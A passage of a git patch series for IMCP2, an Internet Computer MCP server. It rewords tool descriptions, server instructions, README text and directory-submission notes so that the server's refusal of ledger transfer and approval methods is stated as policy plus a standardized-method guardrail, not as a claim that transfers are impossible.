-145,7 +147,7 @@ results). | `open_app` | `app` (name **or** URL) | **One-call entry point** when a user names/links an app: resolves the Internet Identity `derivation_origin` *and* discovers the canisters behind it, together. A name or bare host is matched to the known-app registry first (so a wrong-TLD guess repairs to the canonical URL); an explicit `https://` URL is resolved as given. An unknown bare name, or a URL with no IC evidence, is *refused* (never guessed). Also probes the app's own canisters and reports per-canister `oql`/`api_doc_available` capability flags plus a caller-gated data-access note (which canister holds the app data, and the origin to read it as the user). Wraps `resolve_app` + `discover_app_canisters`; no auth | | `discover_app_canisters` | `domain` | Canister ids behind a web domain — app-declared App Connect metadata first (`/ai-connect.html`'s `ic:canister-id` meta, `/.well-known/ic-app.json` manifest), then the frontend via `x-ic-canister-id` and backend candidates via `/env.json` + JS-bundle mining — each with provenance, its IC dashboard label/type where known, and (for the app's own canisters) `oql`/`api_doc_available` capability flags from a one-shot Candid probe | | `icp_find_canister_by_name` | `query` | Canister ids matching a name/symbol, searched in the IC dashboard's service registries — ICRC token ledgers (e.g. `ckUSDC`) and the SNS project catalog | -| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set of well-known IC apps (e.g. NNS, Oisy). The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | +| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set of well-known IC apps (e.g. NNS). The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | | `icp_lookup_canister_info_by_id` | `canister_id` | What a canister IS, per the IC dashboard: label/name, type, controllers, subnet, module hash, latest upgrade proposal | | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | @@ -183,8 +185,8 @@ candidates, pick by label, prefer production/`IC_` ids, and confirm with Acting **for the user** at an app: 0–2. **`open_app(name-or-URL)`** — the one-call entry point. Pass the *name* the user - said (well-known apps, e.g. NNS and Oisy, resolve offline) or a URL you - have; it returns the `derivation_origin` **and** the app's canisters in one shot + said (well-known apps, e.g. NNS, resolve offline) or a URL you have (e.g. + `https://opencloud.org`); it returns the `derivation_origin` **and** the app's canisters in one shot (it runs `resolve_app` + `discover_app_canisters` concurrently under the hood). **Never guess a domain from a name** — a lookalike like `.com` is an unrelated or squatted site. The tool enforces this: a bare *unknown* name is @@ -307,7 +309,7 @@ token (see Auth). > reports how — `derivation_origin_source`: **declared** > (`/.well-known/ic-app.json` → `derivation_origin`), else a built-in **known-app** > value for a few apps that pin a custom origin without declaring it (e.g. NNS → -> `https://nns.ic0.app`, Oisy → `https://oisy.com`; an app's own +> `https://nns.ic0.app`; an app's own > declaration always overrides this), else the app origin *assumed* > (**app_url_default**). Feeding that resolved origin to an identity tool records > `derivation_origin_source` = **explicit**. Every identity result echoes diff --git a/crates/imcp2-core/src/discover.rs b/crates/imcp2-core/src/discover.rs index 8f2c82d..e905d1b 100644 --- a/crates/imcp2-core/src/discover.rs +++ b/crates/imcp2-core/src/discover.rs @@ -1778,7 +1778,8 @@ impl From<(String, Vec)> for FindCanisterOutput { /// Arguments for `icp_find_app_by_name`. #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct FindAppArgs { - /// The app name to look up, e.g. "Oisy", "NNS". + /// The app name to look up, e.g. "NNS". For a site you already know + /// (e.g. "opencloud.org"), use open_app / resolve_app directly. pub name: String, } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 62aabd7..f77ee34 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -914,7 +914,7 @@ impl IcTools { } #[tool( - description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME (e.g. \"Oisy\", \"NNS\") or a URL (e.g. \"https://oisy.com\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", + description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME (e.g. \"NNS\") or a URL (e.g. \"https://opencloud.org\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", annotations(title = "Open an app (resolve origin + discover canisters)", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1057,7 +1057,7 @@ impl IcTools { } #[tool( - description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps (e.g. NNS, Oisy), used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", + description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps (e.g. NNS), used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", annotations(title = "Resolve an app's derivation origin", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1226,7 +1226,7 @@ impl IcTools { } #[tool( - description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set of well-known IC apps (e.g. NNS, Oisy). For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", + description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set of well-known IC apps (e.g. NNS). For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", annotations(title = "Find a well-known app by name", read_only_hint = true, destructive_hint = false, open_world_hint = false), output_schema = schema_for_output::(), )] @@ -1958,16 +1958,17 @@ impl ServerHandler for IcTools { specific canister. Before writing Candid args, consult the `candid://textual-syntax` \ resource (the value syntax these tools use); `candid://reference` has the full type \ reference.\n\n\ - NOT FOR FINANCIAL OPERATIONS. This server does not initiate or execute financial \ - transactions — money or token transfers, spending approvals, payments, or trades — on \ - the user's behalf, for marketplace compliance and user safety: canister_update_call \ - refuses the ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods, and \ - icp_top_up_canister only returns CLI instructions. When the user asks for such an \ - operation, recommend they do it themselves in a wallet or app frontend they control, \ - in their own browser — e.g. their wallet at https://oisy.com.\n\n\ + NOT FOR FINANCIAL OPERATIONS. Token transfers, spending approvals, payments, and \ + trades are refused here, for marketplace compliance and user safety: \ + canister_update_call refuses the ICRC-1/ICRC-2 (and related ledger-standard) \ + transfer/approval methods on every canister, and icp_top_up_canister only returns CLI \ + instructions. When the user asks for such an operation, recommend they do it \ + themselves in a wallet or app frontend they control, in their own browser — e.g. \ + their wallet at https://oisy.com. (Creating and funding the user's OWN canisters — \ + compute resources — remains available via icp_create_canister.)\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ - one-call entry point: it takes an app NAME (e.g. \"Oisy\", \"NNS\") or a \ - URL, resolves the Internet Identity derivation origin AND discovers the canisters \ + one-call entry point: it takes an app NAME (e.g. \"NNS\") or a URL (e.g. \ + \"https://opencloud.org\"), resolves the Internet Identity derivation origin AND discovers the canisters \ together, probes the app's own canisters for their `oql`/`api_doc_available` \ capabilities, and repairs a wrong-TLD guess to the canonical known-app URL — so you do \ NOT chain resolve_app + discover_app_canisters yourself, and you do NOT start from \ @@ -2045,7 +2046,7 @@ impl ServerHandler for IcTools { that way, ask the user to reconnect and choose \"Actions & questions\".\n\n\ Typical flow (acting FOR THE USER at an app): (0-2) `open_app(name-or-URL)` in ONE \ call gives the `derivation_origin` AND the app's canisters (with `oql`/`api_doc_available` \ - flags) — pass the NAME the user said (well-known apps, e.g. NNS and Oisy, resolve \ + flags) — pass the NAME the user said (well-known apps, e.g. NNS, resolve \ offline) or a URL you have, NEVER a domain guessed from the name (there is no on-chain \ name→URL directory; `icp_find_canister_by_name` finds token/SNS canister ids, not \ front-ends). If you want just one part, `icp_find_app_by_name` does name→URL, \ diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index e38bb9a..4531a08 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -48,7 +48,7 @@ Verified against the live production deployment (2026-07-31): | Claude Code loopback redirects (RFC 8252) | ✅ loopback redirects are exempt from the hosted allow-list | | Discovery documents (RFC 8414 + RFC 9728, path-scoped + root fallback) | ✅ all four live, `WWW-Authenticate` on the 401 points at the resource metadata | | Every tool: `title` + `readOnlyHint`/`destructiveHint` (+ `idempotentHint`, `openWorldHint`) | ✅ on all 26 tools, enforced by a unit test ([`src/tools.rs`](../src/tools.rs)) | -| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools (incl. the instructions-only top-up); writes split per operation | +| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools with [#153](https://github.com/dfinity/imcp2/pull/153) (incl. the instructions-only top-up); writes split per operation | | Tool names ≤ 64 chars | ✅ longest is 30 | | `outputSchema` + structured content on every tool | ✅ enforced by a unit test | | Certificates from a recognized authority | ✅ Let's Encrypt via Caddy | @@ -139,8 +139,11 @@ The Directory Policy **prohibits connectors that transfer money, cryptocurrency, or other financial assets, or execute financial transactions**, and the portal's compliance step requires acknowledging this. -**Shipped (2026-08): the server's stated and enforced posture is that it is -not a financial tool.** +**Mitigations shipped across +[#153](https://github.com/dfinity/imcp2/pull/153) / +[#154](https://github.com/dfinity/imcp2/pull/154) — the stated and enforced +posture is that the server is not a financial tool (this section assumes +both are merged):** - `icp_top_up_canister` is **instructions-only**: it executes nothing and moves no funds — it returns the CLI steps for the user to run a top-up diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index baee520..9c7d464 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -109,24 +109,26 @@ financial-transfers prohibition: - Commerce rules ("only for physical goods", no digital-goods selling, no embedded checkout) govern *selling through the app*; IMCP2 sells nothing. - The attestation "my plugin does not initiate or execute money transfers, - crypto transfers, or investment trades on behalf of users" is now - supported by shipped behavior: `canister_update_call` refuses the - standardized ledger transfer/approval methods (ICRC-1/ICRC-2 and related - standards, the ICP ledger's legacy `transfer`, the cycles ledger's - `withdraw`) on every canister and says so in its description - ([#154](https://github.com/dfinity/imcp2/pull/154)); `icp_top_up_canister` - is instructions-only and executes nothing + crypto transfers, or investment trades on behalf of users" is addressed by + two shipped **mitigations** — not yet grounds to check the box: + `canister_update_call` refuses the standardized ledger transfer/approval + methods (ICRC-1/ICRC-2 and related standards, the ICP ledger's legacy + `transfer`, the cycles ledger's `withdraw` and `create_canister` spends) on + every canister and says so in its description + ([#154](https://github.com/dfinity/imcp2/pull/154)), and + `icp_top_up_canister` is instructions-only and executes nothing ([#153](https://github.com/dfinity/imcp2/pull/153)); README, landing page, and server instructions state the server is not intended for financial - operations. Declare two caveats honestly at the attestations step: - `icp_create_canister`'s `icp` argument still executes an ICP→cycles - conversion from the user's own ledger account (metered compute funding - for the user's own canister — decide explicitly whether to keep, drop, or - restrict it before attesting), and the method-name guard covers the - standardized ledger surface rather than every bespoke canister. There is - no published pre-submission contact at OpenAI equivalent to - mcp-review@anthropic.com; the attestations step is where this is - declared. + operations. Two direct counterexamples to the attestation's absolute + wording remain open and need a decision BEFORE it can be checked + truthfully: `icp_create_canister`'s `icp` argument still executes an + ICP→cycles conversion from the user's own ledger account (metered compute + funding for the user's own canister — keep, drop, or restrict it), and the + method-name guard covers the standardized ledger surface rather than every + bespoke canister. Whatever the decision, declare it honestly at the + attestations step. There is no published pre-submission contact at OpenAI + equivalent to mcp-review@anthropic.com; the attestations step is where + this is declared. ### 4. Test cases (authoring work) diff --git a/src/assets/index.html b/src/assets/index.html index 9a6f56e..47dd1d1 100644 --- a/src/assets/index.html +++ b/src/assets/index.html @@ -405,7 +405,7 @@ \ No newline at end of file From f1a52ca8d7496fcec9c2fef54f0bddece8b87855 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:12:21 +0000 Subject: [PATCH 05/22] State the no-financial rule as policy, not as a capability claim (review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The review bot's follow-up is right that a method deny-list cannot make the generic update tool UNABLE to move assets — a bespoke method name is out of any list's reach, which the module docs and submission docs already record. The description and refusal therefore stop claiming impossibility: they state the binding policy (moving financial assets through this tool is not supported and must not be attempted under any method name) alongside what is mechanically enforced (the standardized ledger surface is refused on every canister). Whether to go further — dropping the generic update surface or moving to a reviewed allow-list — is the recorded 'directory-safe profile' option and stays a product decision, not something this PR takes on its own. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/compliance.rs | 8 ++++---- crates/imcp2-core/src/tools.rs | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index c958bf1..a8c78ce 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -98,12 +98,12 @@ pub fn disallowed_update_method(method: &str) -> Option { https://nns.ic0.app." }; Some(format!( - "`{method}` is {what} — a financial transaction — and this tool does not \ - initiate or execute financial transactions (token transfers, spending \ - approvals, payments, or trades) on the user's behalf. Methods defined by the \ + "`{method}` is {what} — a financial transaction — and financial transactions \ + (token transfers, spending approvals, payments, or trades) are not supported \ + through this tool, under any method name. Methods defined by the \ ICRC-1/ICRC-2 and related ledger standards are refused on every canister, \ for marketplace compliance and user safety. {instead} Do not look for another \ - route to the same operation through this tool." + route to the same operation through this tool or any other method." )) } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 4186943..0ede9d2 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -432,7 +432,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. This tool does not move money, tokens, or other financial assets on the user's behalf; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. Moving money, tokens, or other financial assets on the user's behalf is not supported through this tool and must not be attempted under ANY method name (the refusal list enforces the standardized ledger surface; the policy covers every canister and method); for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] From 33a33c31fc4f3810f469cea3998c6eea171085a0 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:16:28 +0000 Subject: [PATCH 06/22] Present the posture as policy plus standardized-method guardrail (review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Second review pass on the framing: every remaining absolute 'X is refused' claim is reworded to the stable formula the guard actually supports — financial operations are unsupported BY POLICY, and the STANDARDIZED ledger surface is refused mechanically. Applied to the README statement, the server instructions (which now also tell the model never to attempt a financial operation through any other method or route), and the landing trust card ('standard ledger transfers and token approvals are refused by design'). The Anthropic readiness row for the read-only tool count is marked pending on the top-up PR rather than verified. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 19 ++++++++++--------- crates/imcp2-core/src/tools.rs | 19 +++++++++++-------- docs/anthropic-directory-submission.md | 2 +- src/assets/index.html | 2 +- 4 files changed, 23 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index c35b221..f234439 100644 --- a/README.md +++ b/README.md @@ -9,15 +9,16 @@ encoding/decoding and signing against the IC via [official Rust SDK](https://github.com/modelcontextprotocol/rust-sdk) (`rmcp`). **Not for financial operations.** IMCP2 is infrastructure tooling for reading, -building, and operating canisters — it is not a wallet or trading tool. Token -transfers, spending approvals, payments, and trades are refused: -`canister_update_call` rejects the ICRC-1/ICRC-2 (and related ledger-standard) -transfer/approval methods on every canister, and `icp_top_up_canister` returns -CLI instructions instead of executing anything. For those operations, users act -themselves in a wallet or frontend they control (e.g. -[oisy.com](https://oisy.com)), in their own browser. Creating and funding the -user's **own** canisters (compute resources) remains available through the -dedicated `icp_create_canister` tool. +building, and operating canisters — it is not a wallet or trading tool, and +financial operations (token transfers, spending approvals, payments, trades) +are unsupported by policy. The standardized ledger surface is refused +mechanically: `canister_update_call` rejects the ICRC-1/ICRC-2 (and related +ledger-standard) transfer/approval methods on every canister, and +`icp_top_up_canister` returns CLI instructions instead of executing anything. +For financial operations, users act themselves in a wallet or frontend they +control (e.g. [oisy.com](https://oisy.com)), in their own browser. Creating and +funding the user's **own** canisters (compute resources) remains available +through the dedicated `icp_create_canister` tool. ## Use as a library diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index f77ee34..8cfb1c2 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -1958,14 +1958,17 @@ impl ServerHandler for IcTools { specific canister. Before writing Candid args, consult the `candid://textual-syntax` \ resource (the value syntax these tools use); `candid://reference` has the full type \ reference.\n\n\ - NOT FOR FINANCIAL OPERATIONS. Token transfers, spending approvals, payments, and \ - trades are refused here, for marketplace compliance and user safety: \ - canister_update_call refuses the ICRC-1/ICRC-2 (and related ledger-standard) \ - transfer/approval methods on every canister, and icp_top_up_canister only returns CLI \ - instructions. When the user asks for such an operation, recommend they do it \ - themselves in a wallet or app frontend they control, in their own browser — e.g. \ - their wallet at https://oisy.com. (Creating and funding the user's OWN canisters — \ - compute resources — remains available via icp_create_canister.)\n\n\ + NOT FOR FINANCIAL OPERATIONS. Financial operations — token transfers, spending \ + approvals, payments, trades — are unsupported here BY POLICY, for marketplace \ + compliance and user safety, and the standardized ledger surface is refused \ + mechanically: canister_update_call refuses the ICRC-1/ICRC-2 (and related \ + ledger-standard) transfer/approval methods on every canister, and \ + icp_top_up_canister only returns CLI instructions. Never attempt a financial \ + operation through any other method or route either. When the user asks for one, \ + recommend they do it themselves in a wallet or app frontend they control, in \ + their own browser — e.g. their wallet at https://oisy.com. (Creating and funding \ + the user's OWN canisters — compute resources — remains available via \ + icp_create_canister.)\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ one-call entry point: it takes an app NAME (e.g. \"NNS\") or a URL (e.g. \ \"https://opencloud.org\"), resolves the Internet Identity derivation origin AND discovers the canisters \ diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 4531a08..57fcb8c 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -48,7 +48,7 @@ Verified against the live production deployment (2026-07-31): | Claude Code loopback redirects (RFC 8252) | ✅ loopback redirects are exempt from the hosted allow-list | | Discovery documents (RFC 8414 + RFC 9728, path-scoped + root fallback) | ✅ all four live, `WWW-Authenticate` on the 401 points at the resource metadata | | Every tool: `title` + `readOnlyHint`/`destructiveHint` (+ `idempotentHint`, `openWorldHint`) | ✅ on all 26 tools, enforced by a unit test ([`src/tools.rs`](../src/tools.rs)) | -| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools with [#153](https://github.com/dfinity/imcp2/pull/153) (incl. the instructions-only top-up); writes split per operation | +| No catch-all read/write tool; reads and writes are separate tools | ⏳ 18 read-only tools once [#153](https://github.com/dfinity/imcp2/pull/153) lands (incl. the instructions-only top-up); writes split per operation | | Tool names ≤ 64 chars | ✅ longest is 30 | | `outputSchema` + structured content on every tool | ✅ enforced by a unit test | | Certificates from a recognized authority | ✅ Let's Encrypt via Caddy | diff --git a/src/assets/index.html b/src/assets/index.html index 47dd1d1..7af96e3 100644 --- a/src/assets/index.html +++ b/src/assets/index.html @@ -405,7 +405,7 @@ \ No newline at end of file From ef65fef574e3b73c383303d4914f145a8cdcdbd5 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:22:08 +0000 Subject: [PATCH 07/22] Stack on the ledger-guard branch; mark the top-up milestone merged MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The framing PR now contains the enforcement it describes: main (with the merged instructions-only top-up, #153) and the ledger-method guard branch (#154) are merged in, and the PR is retargeted onto #154's branch so it cannot merge ahead of it — the ordering the review kept flagging is now mechanical rather than a note in the description. The Anthropic readiness row flips to verified since #153 is merged. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- docs/anthropic-directory-submission.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 57fcb8c..b595811 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -48,7 +48,7 @@ Verified against the live production deployment (2026-07-31): | Claude Code loopback redirects (RFC 8252) | ✅ loopback redirects are exempt from the hosted allow-list | | Discovery documents (RFC 8414 + RFC 9728, path-scoped + root fallback) | ✅ all four live, `WWW-Authenticate` on the 401 points at the resource metadata | | Every tool: `title` + `readOnlyHint`/`destructiveHint` (+ `idempotentHint`, 